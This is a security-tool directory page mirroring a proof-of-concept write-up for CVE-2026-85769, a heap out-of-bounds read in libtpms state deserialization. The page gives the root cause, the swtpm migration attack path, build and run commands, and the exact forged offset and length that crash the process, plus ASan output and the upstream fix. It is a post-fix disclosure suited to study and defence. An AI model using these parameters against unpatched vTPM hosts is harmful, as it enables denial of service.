Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85769 — Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob. | Kitploit
Herramientas/GitHubGitHub/isukasanuj/cve-2026-85769
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Analysis
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob.

Ver Repositorio
220hace 6 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Contenido no disponible en el idioma solicitado. Mostrando versión en inglés.

CVE-2026-85769

Heap out-of-bounds read in libtpms TPM 2.0 volatile-state deserialization.

An unbounded optional-block skip in block_skip_read() advances the unmarshal cursor by an attacker-controlled 16-bit length and drives the signed remaining-size counter negative. Every downstream bounds check then passes, because they cast that signed value to unsigned. A forged, self-checksummed volatile-state blob fed through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) produces a heap out-of-bounds read and aborts the process hosting libtpms — swtpm, in a vTPM deployment.

CVECVE-2026-85769
Componentsrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion)
Affectedmaster f7f072b2, v0.10.2 03ff2481, and earlier releases carrying this code
Fixed9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Reported2026-09-01, privately to the maintainer

Root cause

block_skip_read() skips an optional versioned block by advancing the parse cursor, without checking the length against the bytes remaining:

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size is signed. Once negative, the guard in front of every scalar read stops working:

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

The further past the allocation the parse runs, the more negative *size becomes — and the larger it looks unsigned. The same file already has the correct form in Array_Unmarshal, which compares signed.

The only integrity gate is an unkeyed SHA-1 appended to the blob (src/tpm2/Volatile.c), so the PoC recomputes it after tampering.

Attack surface

Reached through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) and the power-on restore chain TPMLIB_MainInit → _TPM_Init → VolatileLoad.

In an swtpm deployment the relevant path is live migration — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination host parses a state blob produced on the source host. A configured --migration-key does not mitigate this: the key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It defends against an interposed third party, not against a hostile peer.

Build

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Run

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 is sized so the cursor lands in ASan's redzone rather than on a wild pointer:

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

Offset 173 is the has_block byte of the ORDERLY_DATA skip_future_versions trailer. It was located by instrumenting block_skip_read() to print the offset during a parse, not by counting bytes — the offset shifts with the state format, so re-derive it if your blob length differs from 8778.

Note that skip_self_heal_timer is not a usable trailer: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h means it is emitted with needs_block = TRUE and takes the safe branch.

Result

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

The fault surfaces in UINT16_Unmarshal, not in block_skip_read — the skip advances the cursor and returns without reading. The corruption lands on the next structure read.

Against the fixed commit, every attack case returns TPM_RC_INSUFFICIENT (0x9a) with no ASan report, and valid blobs still restore with rc=0.

Impact

Denial of service of the process hosting libtpms, plus undefined behaviour.

Information disclosure was tested and ruled out. Small overshoots on a non-ASan build return TPM_RC_BAD_TAG (0x1e) every time:

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

The read immediately after the overshoot is an NV_HEADER, whose 32-bit magic must match a fixed constant. Adjacent heap satisfies that with p ≈ 2⁻³². The parse aborts, ClearAllCachedState() discards everything, and no out-of-bounds bytes reach TPMLIB_GetState. Confidentiality is therefore C:N. Red Hat's review reached the same conclusion independently.

Timeline

Credit

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Notes

This PoC is published after the issue was fixed upstream and the CVE was assigned. It targets a local build of an open-source library and does nothing beyond triggering the parse. Only test what you are authorised to test.

License

MIT

Descargar herramienta
Date
2026-09-01Reported privately to the libtpms maintainer
2026-09-04Same root cause reported publicly and independently by Leyao (ICT CAS) as libtpms issue #614
2026-09-04Fixed upstream in 9e1475ff (PR #613); fix verified against this PoC
2026-09-04Reported to Red Hat Product Security
2026-09-04CVE-2026-85769 assigned